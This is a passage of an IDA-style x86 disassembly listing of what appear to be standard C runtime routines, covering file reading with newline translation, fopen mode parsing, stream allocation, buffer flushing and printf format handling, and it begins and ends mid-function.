mov [ebp+arg_8], eax
add ecx, eax
cmp eax, ecx
mov [ebp+var_8], ecx
jnb loc_41F153
loc_41F088: ; CODE XREF: sub_41EF81+1BAj
mov eax, [ebp+arg_8]
mov al, [eax]
cmp al, 1Ah
jz loc_41F143
cmp al, 0Dh
jz short loc_41F0A4
mov [edi], al
inc edi
inc [ebp+arg_8]
jmp loc_41F135
; ---------------------------------------------------------------------------
loc_41F0A4: ; CODE XREF: sub_41EF81+116j
dec ecx
cmp [ebp+arg_8], ecx
jnb short loc_41F0C2
mov eax, [ebp+arg_8]
inc eax
cmp byte ptr [eax], 0Ah
jnz short loc_41F0B9
add [ebp+arg_8], 2
jmp short loc_41F117
; ---------------------------------------------------------------------------
loc_41F0B9: ; CODE XREF: sub_41EF81+130j
mov byte ptr [edi], 0Dh
inc edi
mov [ebp+arg_8], eax
jmp short loc_41F135
; ---------------------------------------------------------------------------
loc_41F0C2: ; CODE XREF: sub_41EF81+127j
lea eax, [ebp+var_C]
push 0
push eax
inc [ebp+arg_8]
lea eax, [ebp+var_1]
push 1
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
call dword_4270E8 ; ReadFile
test eax, eax
jnz short loc_41F0EA
call dword_42708C ; RtlGetLastWin32Error
test eax, eax
jnz short loc_41F131
loc_41F0EA: ; CODE XREF: sub_41EF81+15Dj
cmp [ebp+var_C], 0
jz short loc_41F131
mov eax, [ebx]
test byte ptr [eax+esi+4], 48h
jz short loc_41F10C
mov al, [ebp+var_1]
cmp al, 0Ah
jz short loc_41F117
mov byte ptr [edi], 0Dh
mov ecx, [ebx]
inc edi
mov [ecx+esi+5], al
jmp short loc_41F135
; ---------------------------------------------------------------------------
loc_41F10C: ; CODE XREF: sub_41EF81+176j
cmp edi, [ebp+arg_4]
jnz short loc_41F11C
cmp [ebp+var_1], 0Ah
jnz short loc_41F11C
loc_41F117: ; CODE XREF: sub_41EF81+136j
; sub_41EF81+17Dj
mov byte ptr [edi], 0Ah
jmp short loc_41F134
; ---------------------------------------------------------------------------
loc_41F11C: ; CODE XREF: sub_41EF81+18Ej
; sub_41EF81+194j
push 1
push 0FFFFFFFFh
push [ebp+arg_0]
call sub_42261C
add esp, 0Ch
cmp [ebp+var_1], 0Ah
jz short loc_41F135
loc_41F131: ; CODE XREF: sub_41EF81+167j
; sub_41EF81+16Dj
mov byte ptr [edi], 0Dh
loc_41F134: ; CODE XREF: sub_41EF81+199j
inc edi
loc_41F135: ; CODE XREF: sub_41EF81+11Ej
; sub_41EF81+13Fj ...
mov ecx, [ebp+var_8]
cmp [ebp+arg_8], ecx
jb loc_41F088
jmp short loc_41F153
; ---------------------------------------------------------------------------
loc_41F143: ; CODE XREF: sub_41EF81+10Ej
mov eax, [ebx]
lea esi, [eax+esi+4]
mov al, [esi]
test al, 40h
jnz short loc_41F153
or al, 2
mov [esi], al
loc_41F153: ; CODE XREF: sub_41EF81+101j
; sub_41EF81+1C0j ...
sub edi, [ebp+arg_4]
mov [ebp+var_8], edi
loc_41F159: ; CODE XREF: sub_41EF81+DAj
mov eax, [ebp+var_8]
jmp short loc_41F172
; ---------------------------------------------------------------------------
loc_41F15E: ; CODE XREF: sub_41EF81+12j
; sub_41EF81+39j
and dword_4E14FC, 0
mov dword_4E14F8, 9
loc_41F16F: ; CODE XREF: sub_41EF81+ABj
; sub_41EF81+C3j
or eax, 0FFFFFFFFh
loc_41F172: ; CODE XREF: sub_41EF81+B7j
; sub_41EF81+1DBj
pop edi
pop esi
pop ebx
leave
retn
sub_41EF81 endp
; =============== S U B R O U T I N E =======================================
sub_41F177 proc near ; CODE XREF: sub_41BA78+106p
; sub_41BBDD+1Fp ...
arg_0 = dword ptr 4
mov eax, dword_4E1574
test eax, eax
jz short loc_41F18F
push [esp+arg_0]
call eax ; dword_4E1574
test eax, eax
pop ecx
jz short loc_41F18F
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41F18F: ; CODE XREF: sub_41F177+7j
; sub_41F177+12j
xor eax, eax
retn
sub_41F177 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F192 proc near ; CODE XREF: sub_41BB98+17p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, dword_4E16E0
push edi
mov edi, [ebp+arg_4]
xor ebx, ebx
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov al, [edi]
cmp al, 61h
jz short loc_41F1CB
cmp al, 72h
jz short loc_41F1C4
cmp al, 77h
jnz loc_41F2DF
mov ecx, 301h
jmp short loc_41F1D0
; ---------------------------------------------------------------------------
loc_41F1C4: ; CODE XREF: sub_41F192+21j
xor ecx, ecx
or esi, 1
jmp short loc_41F1D3
; ---------------------------------------------------------------------------
loc_41F1CB: ; CODE XREF: sub_41F192+1Dj
mov ecx, 109h
loc_41F1D0: ; CODE XREF: sub_41F192+30j
or esi, 2
loc_41F1D3: ; CODE XREF: sub_41F192+37j
push 1
pop edx
loc_41F1D6: ; CODE XREF: sub_41F192+8Bj
; sub_41F192+A0j ...
mov al, [edi+1]
inc edi
cmp al, bl
jz loc_41F2C5
cmp edx, ebx
jz loc_41F2C5
movsx eax, al
cmp eax, 54h
jg short loc_41F264
jz short loc_41F254
sub eax, 2Bh
jz short loc_41F23E
sub eax, 19h
jz short loc_41F234
sub eax, 0Eh
jz short loc_41F21F
dec eax
jnz loc_41F2B6
cmp [ebp+var_4], ebx
jnz loc_41F2B6
mov [ebp+var_4], 1
or ecx, 20h
jmp short loc_41F1D6
; ---------------------------------------------------------------------------
loc_41F21F: ; CODE XREF: sub_41F192+6Fj
cmp [ebp+var_4], ebx
jnz loc_41F2B6
mov [ebp+var_4], 1
or ecx, 10h
jmp short loc_41F1D6
; ---------------------------------------------------------------------------
loc_41F234: ; CODE XREF: sub_41F192+6Aj
test cl, 40h
jnz short loc_41F2B6
or ecx, 40h
jmp short loc_41F1D6
; ---------------------------------------------------------------------------
loc_41F23E: ; CODE XREF: sub_41F192+65j
test cl, 2
jnz short loc_41F2B6
and ecx, 0FFFFFFFEh
and esi, 0FFFFFFFCh
or ecx, 2
or esi, 80h
jmp short loc_41F1D6
; ---------------------------------------------------------------------------
loc_41F254: ; CODE XREF: sub_41F192+60j
mov eax, 1000h
test ecx, eax
jnz short loc_41F2B6
or ecx, eax
jmp loc_41F1D6
; ---------------------------------------------------------------------------
loc_41F264: ; CODE XREF: sub_41F192+5Ej
sub eax, 62h
jz short loc_41F2B1
dec eax
jz short loc_41F29A
sub eax, 0Bh
jz short loc_41F283
sub eax, 6
jnz short loc_41F2B6
test ch, 0C0h
jnz short loc_41F2B6
or ch, 40h
jmp loc_41F1D6
; ---------------------------------------------------------------------------
loc_41F283: ; CODE XREF: sub_41F192+DDj
cmp [ebp+var_8], ebx
jnz short loc_41F2B6
mov [ebp+var_8], 1
and esi, 0FFFFBFFFh
jmp loc_41F1D6
; ---------------------------------------------------------------------------
loc_41F29A: ; CODE XREF: sub_41F192+D8j
cmp [ebp+var_8], ebx
jnz short loc_41F2B6
mov [ebp+var_8], 1
or esi, 4000h
jmp loc_41F1D6
; ---------------------------------------------------------------------------
loc_41F2B1: ; CODE XREF: sub_41F192+D5j
test ch, 0C0h
jz short loc_41F2BD
loc_41F2B6: ; CODE XREF: sub_41F192+72j
; sub_41F192+7Bj ...
xor edx, edx
jmp loc_41F1D6
; ---------------------------------------------------------------------------
loc_41F2BD: ; CODE XREF: sub_41F192+122j
or ch, 80h
jmp loc_41F1D6
; ---------------------------------------------------------------------------
loc_41F2C5: ; CODE XREF: sub_41F192+4Aj
; sub_41F192+52j
push 1A4h
push [ebp+arg_8]
push ecx
push [ebp+arg_0]
call sub_423896
mov ecx, eax
add esp, 10h
cmp ecx, ebx
jge short loc_41F2E3
loc_41F2DF: ; CODE XREF: sub_41F192+25j
xor eax, eax
jmp short loc_41F2FD
; ---------------------------------------------------------------------------
loc_41F2E3: ; CODE XREF: sub_41F192+14Bj
mov eax, [ebp+arg_C]
inc dword_4E15C8
mov [eax+0Ch], esi
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_41F2FD: ; CODE XREF: sub_41F192+14Fj
pop edi
pop esi
pop ebx
leave
retn
sub_41F192 endp
; =============== S U B R O U T I N E =======================================
sub_41F302 proc near ; CODE XREF: sub_41BB98p
mov edx, dword_4E2940
push ebx
push ebp
push esi
xor ebp, ebp
xor esi, esi
xor eax, eax
cmp edx, ebp
push edi
jle short loc_41F373
mov ebx, dword_4E1924
mov edi, ebx
loc_41F31E: ; CODE XREF: sub_41F302+2Ej
mov ecx, [edi]
cmp ecx, ebp
jz short loc_41F339
test byte ptr [ecx+0Ch], 83h
jz short loc_41F334
inc eax
add edi, 4
cmp eax, edx
jl short loc_41F31E
jmp short loc_41F373
; ---------------------------------------------------------------------------
loc_41F334: ; CODE XREF: sub_41F302+26j
mov esi, [ebx+eax*4]
jmp short loc_41F35D
; ---------------------------------------------------------------------------
loc_41F339: ; CODE XREF: sub_41F302+20j
mov edi, eax
push 20h
shl edi, 2
call sub_41BBCB
pop ecx
mov ecx, dword_4E1924
mov [edi+ecx], eax
mov eax, dword_4E1924
mov edi, [edi+eax]
cmp edi, ebp
jz short loc_41F373
mov esi, edi
loc_41F35D: ; CODE XREF: sub_41F302+35j
cmp esi, ebp
jz short loc_41F373
or dword ptr [esi+10h], 0FFFFFFFFh
mov [esi+4], ebp
mov [esi+0Ch], ebp
mov [esi+8], ebp
mov [esi], ebp
mov [esi+1Ch], ebp
loc_41F373: ; CODE XREF: sub_41F302+12j
; sub_41F302+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41F302 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F37A proc near ; CODE XREF: sub_41BD9E+17p
; sub_41BD9E+58p ...
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
lea ecx, [eax+1]
cmp ecx, 100h
ja short loc_41F398
mov ecx, off_442560
movzx eax, word ptr [ecx+eax*2]
jmp short loc_41F3EA
; ---------------------------------------------------------------------------
loc_41F398: ; CODE XREF: sub_41F37A+10j
mov ecx, eax
push esi
mov esi, off_442560
sar ecx, 8
movzx edx, cl
test byte ptr [esi+edx*2+1], 80h
pop esi
jz short loc_41F3BD
and [ebp+var_2], 0
mov [ebp+var_4], cl
mov [ebp+var_3], al
push 2
jmp short loc_41F3C6
; ---------------------------------------------------------------------------
loc_41F3BD: ; CODE XREF: sub_41F37A+33j
and [ebp+var_3], 0
mov [ebp+var_4], al
push 1
loc_41F3C6: ; CODE XREF: sub_41F37A+41j
pop eax
lea ecx, [ebp+arg_0+2]
push 1
push 0
push 0
push ecx
push eax
lea eax, [ebp+var_4]
push eax
push 1
call loc_423B4F
add esp, 1Ch
test eax, eax
jnz short loc_41F3E6
leave
retn
; ---------------------------------------------------------------------------
loc_41F3E6: ; CODE XREF: sub_41F37A+68j
movzx eax, word ptr [ebp+arg_0+2]
loc_41F3EA: ; CODE XREF: sub_41F37A+1Cj
and eax, [ebp+arg_4]
leave
retn
sub_41F37A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F3EF proc near ; CODE XREF: sub_41BF36+46p
; sub_41C030+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_41F4F8
test al, 40h
jnz loc_41F4F8
test al, 1
jz short loc_41F427
and dword ptr [esi+4], 0
test al, 10h
jz loc_41F4F8
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_41F427: ; CODE XREF: sub_41F3EF+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41F461
cmp esi, offset dword_442B58
jz short loc_41F44F
cmp esi, offset dword_442B78
jnz short loc_41F45A
loc_41F44F: ; CODE XREF: sub_41F3EF+56j
push ebx
call sub_423C98
test eax, eax
pop ecx
jnz short loc_41F461
loc_41F45A: ; CODE XREF: sub_41F3EF+5Ej
push esi
call sub_423852
pop ecx
loc_41F461: ; CODE XREF: sub_41F3EF+4Ej
; sub_41F3EF+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41F4CE
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_41F491
push edi
push eax
push ebx
call sub_42280E
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_41F4C4
; ---------------------------------------------------------------------------
loc_41F491: ; CODE XREF: sub_41F3EF+90j
cmp ebx, 0FFFFFFFFh
jz short loc_41F4AC
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_4E1820[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_41F4B1
; ---------------------------------------------------------------------------
loc_41F4AC: ; CODE XREF: sub_41F3EF+A5j
mov eax, offset dword_442E40
loc_41F4B1: ; CODE XREF: sub_41F3EF+BBj
test byte ptr [eax+4], 20h
jz short loc_41F4C4
push 2
push 0
push ebx
call sub_42261C
add esp, 0Ch
loc_41F4C4: ; CODE XREF: sub_41F3EF+A0j
; sub_41F3EF+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_41F4E2
; ---------------------------------------------------------------------------
loc_41F4CE: ; CODE XREF: sub_41F3EF+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_42280E
add esp, 0Ch
mov [ebp+arg_4], eax
loc_41F4E2: ; CODE XREF: sub_41F3EF+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41F4EE
or dword ptr [esi+0Ch], 20h
jmp short loc_41F4FD
; ---------------------------------------------------------------------------
loc_41F4EE: ; CODE XREF: sub_41F3EF+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41F500
; ---------------------------------------------------------------------------
loc_41F4F8: ; CODE XREF: sub_41F3EF+10j
; sub_41F3EF+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41F4FD: ; CODE XREF: sub_41F3EF+FDj
or eax, 0FFFFFFFFh
loc_41F500: ; CODE XREF: sub_41F3EF+107j
pop esi
pop ebx
pop ebp
retn
sub_41F3EF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41F504 proc near ; CODE XREF: sub_41BF36+29p
; sub_41C030+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_41FC1D
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_41F538
; ---------------------------------------------------------------------------
loc_41F530: ; CODE XREF: sub_41F504+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_41F538: ; CODE XREF: sub_41F504+2Aj
cmp [ebp+var_14], edx
jl loc_41FC1D
cmp bl, 20h
jl short loc_41F559
cmp bl, 78h
jg short loc_41F559
movsx eax, bl
mov al, byte ptr flt_42770C[eax]
and eax, 0Fh
jmp short loc_41F55B
; ---------------------------------------------------------------------------
loc_41F559: ; CODE XREF: sub_41F504+40j
; sub_41F504+45j
xor eax, eax
loc_41F55B: ; CODE XREF: sub_41F504+53j
movsx eax, byte_42772C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_41FC0C ; default
jmp off_41FC25[eax*4] ; switch jump
loc_41F579: ; DATA XREF: .nsp0:off_41FC25o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F572 case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F594: ; CODE XREF: sub_41F504+6Ej
; DATA XREF: .nsp0:off_41FC25o
movsx eax, bl ; jumptable 0041F572 case 2
sub eax, 20h
jz short loc_41F5D7
sub eax, 3
jz short loc_41F5CE
sub eax, 8
jz short loc_41F5C5
dec eax
dec eax
jz short loc_41F5BC
sub eax, 3
jnz loc_41FC0C ; default
or [ebp+var_4], 8
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F5BC: ; CODE XREF: sub_41F504+A4j
or [ebp+var_4], 4
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F5C5: ; CODE XREF: sub_41F504+A0j
or [ebp+var_4], 1
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F5CE: ; CODE XREF: sub_41F504+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F5D7: ; CODE XREF: sub_41F504+96j
or [ebp+var_4], 2
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F5E0: ; CODE XREF: sub_41F504+6Ej
; DATA XREF: .nsp0:off_41FC25o
cmp bl, 2Ah ; jumptable 0041F572 case 3
jnz short loc_41F608
lea eax, [ebp+arg_8]
push eax
call sub_41FCE3
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_41FC0C ; default
or [ebp+var_4], 4
neg eax
loc_41F600: ; CODE XREF: sub_41F504+111j
mov [ebp+var_20], eax
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F608: ; CODE XREF: sub_41F504+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_41F600
; ---------------------------------------------------------------------------
loc_41F617: ; CODE XREF: sub_41F504+6Ej
; DATA XREF: .nsp0:off_41FC25o
mov [ebp+var_10], edx ; jumptable 0041F572 case 4
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F61F: ; CODE XREF: sub_41F504+6Ej
; DATA XREF: .nsp0:off_41FC25o
cmp bl, 2Ah ; jumptable 0041F572 case 5
jnz short loc_41F642
lea eax, [ebp+arg_8]
push eax
call sub_41FCE3
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_41FC0C ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F642: ; CODE XREF: sub_41F504+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F654: ; CODE XREF: sub_41F504+6Ej
; DATA XREF: .nsp0:off_41FC25o
cmp bl, 49h ; jumptable 0041F572 case 6
jz short loc_41F687
cmp bl, 68h
jz short loc_41F67E
cmp bl, 6Ch
jz short loc_41F675
cmp bl, 77h
jnz loc_41FC0C ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F675: ; CODE XREF: sub_41F504+15Dj
or [ebp+var_4], 10h
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F67E: ; CODE XREF: sub_41F504+158j
or [ebp+var_4], 20h
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F687: ; CODE XREF: sub_41F504+153j
cmp byte ptr [edi], 36h
jnz short loc_41F6A0
cmp byte ptr [edi+1], 34h
jnz short loc_41F6A0
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F6A0: ; CODE XREF: sub_41F504+186j
; sub_41F504+18Cj
mov [ebp+var_30], edx
loc_41F6A3: ; CODE XREF: sub_41F504+6Ej
; DATA XREF: .nsp0:off_41FC25o
mov ecx, off_442560 ; jumptable 0041F572 case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41F6CF
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FC45
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_41F6CF: ; CODE XREF: sub_41F504+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_41FC45
add esp, 0Ch
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F6E7: ; CODE XREF: sub_41F504+6Ej
; DATA XREF: .nsp0:off_41FC25o
movsx eax, bl ; jumptable 0041F572 case 7
cmp eax, 67h
jg loc_41F90F
cmp eax, 65h
jge loc_41F792
cmp eax, 58h
jg loc_41F7F0
jz loc_41F983
sub eax, 43h
jz loc_41F7B3
dec eax
dec eax
jz short loc_41F788
dec eax
dec eax
jz short loc_41F788
sub eax, 0Ch
jnz loc_41FB0E
test word ptr [ebp+var_4], 830h
jnz short loc_41F731
or byte ptr [ebp+var_4+1], 8
loc_41F731: ; CODE XREF: sub_41F504+227j
; sub_41F504+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_41F73E
mov esi, 7FFFFFFFh
loc_41F73E: ; CODE XREF: sub_41F504+233j
lea eax, [ebp+arg_8]
push eax
call sub_41FCE3
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_41F957
test ecx, ecx
jnz short loc_41F766
mov ecx, off_44277C
mov [ebp+var_8], ecx
loc_41F766: ; CODE XREF: sub_41F504+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_41F76F: ; CODE XREF: sub_41F504+282j
mov edx, esi
dec esi
test edx, edx
jz loc_41F94E
cmp word ptr [eax], 0
jz loc_41F94E
inc eax
inc eax
jmp short loc_41F76F
; ---------------------------------------------------------------------------
loc_41F788: ; CODE XREF: sub_41F504+212j
; sub_41F504+216j
mov [ebp+var_34], 1
add bl, 20h
loc_41F792: ; CODE XREF: sub_41F504+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_41F876
mov [ebp+var_10], 6
jmp loc_41F884
; ---------------------------------------------------------------------------
loc_41F7B3: ; CODE XREF: sub_41F504+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_41F7BF
or byte ptr [ebp+var_4+1], 8
loc_41F7BF: ; CODE XREF: sub_41F504+2B5j
; sub_41F504+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_41F806
call sub_41FD00
push eax
lea eax, [ebp+var_248]
push eax
call sub_423CBE
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_41F819
mov [ebp+var_28], 1
jmp short loc_41F819
; ---------------------------------------------------------------------------
loc_41F7F0: ; CODE XREF: sub_41F504+1FBj
sub eax, 5Ah
jz short loc_41F827
sub eax, 9
jz short loc_41F7BF
dec eax
jz loc_41F9E9
jmp loc_41FB0E
; ---------------------------------------------------------------------------
loc_41F806: ; CODE XREF: sub_41F504+2C5j
call sub_41FCE3
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_41F819: ; CODE XREF: sub_41F504+2E1j
; sub_41F504+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_41FB0E
; ---------------------------------------------------------------------------
loc_41F827: ; CODE XREF: sub_41F504+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_41FCE3
test eax, eax
pop ecx
jz short loc_41F868
mov ecx, [eax+4]
test ecx, ecx
jz short loc_41F868
test byte ptr [ebp+var_4+1], 8
jz short loc_41F859
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_41FB0E
; ---------------------------------------------------------------------------
loc_41F859: ; CODE XREF: sub_41F504+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_41FB0B
; ---------------------------------------------------------------------------
loc_41F868: ; CODE XREF: sub_41F504+32Fj
; sub_41F504+336j
mov eax, off_442778
mov [ebp+var_8], eax
push eax
jmp loc_41F904
; ---------------------------------------------------------------------------
loc_41F876: ; CODE XREF: sub_41F504+29Dj
jnz short loc_41F884
cmp bl, 67h
jnz short loc_41F884
mov [ebp+var_10], 1
loc_41F884: ; CODE XREF: sub_41F504+2AAj
; sub_41F504:loc_41F876j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_442B08
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_41F8D6
cmp [ebp+var_10], 0
jnz short loc_41F8D6
lea eax, [ebp+var_248]
push eax
call off_442B14
pop ecx
loc_41F8D6: ; CODE XREF: sub_41F504+3BCj
; sub_41F504+3C2j
cmp bl, 67h
jnz short loc_41F8ED
test esi, esi
jnz short loc_41F8ED
lea eax, [ebp+var_248]
push eax
call off_442B0C
pop ecx
loc_41F8ED: ; CODE XREF: sub_41F504+3D5j
; sub_41F504+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_41F903
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_41F903: ; CODE XREF: sub_41F504+3F0j
push edi
loc_41F904: ; CODE XREF: sub_41F504+36Dj
call sub_41B890
pop ecx
jmp loc_41FB0B
; ---------------------------------------------------------------------------
loc_41F90F: ; CODE XREF: sub_41F504+1E9j
sub eax, 69h
jz loc_41F9E9
sub eax, 5
jz loc_41F9BF
dec eax
jz loc_41F9AC
dec eax
jz short loc_41F97C
sub eax, 3
jz loc_41F731
dec eax
dec eax
jz loc_41F9ED
sub eax, 3
jnz loc_41FB0E
mov [ebp+var_2C], 27h
jmp short loc_41F98A
; ---------------------------------------------------------------------------
loc_41F94E: ; CODE XREF: sub_41F504+270j
; sub_41F504+27Aj
sub eax, ecx
sar eax, 1
jmp loc_41FB0B
; ---------------------------------------------------------------------------
loc_41F957: ; CODE XREF: sub_41F504+24Fj
test ecx, ecx
jnz short loc_41F964
mov ecx, off_442778
mov [ebp+var_8], ecx
loc_41F964: ; CODE XREF: sub_41F504+455j
mov eax, ecx
loc_41F966: ; CODE XREF: sub_41F504+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_41F975
cmp byte ptr [eax], 0
jz short loc_41F975
inc eax
jmp short loc_41F966
; ---------------------------------------------------------------------------
loc_41F975: ; CODE XREF: sub_41F504+467j
; sub_41F504+46Cj
sub eax, ecx
jmp loc_41FB0B
; ---------------------------------------------------------------------------
loc_41F97C: ; CODE XREF: sub_41F504+425j
mov [ebp+var_10], 8
loc_41F983: ; CODE XREF: sub_41F504+201j
mov [ebp+var_2C], 7
loc_41F98A: ; CODE XREF: sub_41F504+448j
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 10h
jz short loc_41F9F4
mov al, byte ptr [ebp+var_2C]
mov [ebp+var_16], 30h
add al, 51h
mov [ebp+var_1C], 2
mov [ebp+var_15], al
jmp short loc_41F9F4
; ---------------------------------------------------------------------------
loc_41F9AC: ; CODE XREF: sub_41F504+41Ej
test byte ptr [ebp+var_4], 80h
mov [ebp+var_C], 8
jz short loc_41F9F4
or byte ptr [ebp+var_4+1], 2
jmp short loc_41F9F4
; ---------------------------------------------------------------------------
loc_41F9BF: ; CODE XREF: sub_41F504+417j
lea eax, [ebp+arg_8]
push eax
call sub_41FCE3
test byte ptr [ebp+var_4], 20h
pop ecx
jz short loc_41F9D8
mov cx, word ptr [ebp+var_14]
mov [eax], cx
jmp short loc_41F9DD
; ---------------------------------------------------------------------------
loc_41F9D8: ; CODE XREF: sub_41F504+4C9j
mov ecx, [ebp+var_14]
mov [eax], ecx
loc_41F9DD: ; CODE XREF: sub_41F504+4D2j
mov [ebp+var_28], 1
jmp loc_41FC0C ; default
; ---------------------------------------------------------------------------
loc_41F9E9: ; CODE XREF: sub_41F504+2F7j
; sub_41F504+40Ej
or [ebp+var_4], 40h
loc_41F9ED: ; CODE XREF: sub_41F504+432j
mov [ebp+var_C], 0Ah
loc_41F9F4: ; CODE XREF: sub_41F504+491j
; sub_41F504+4A6j ...
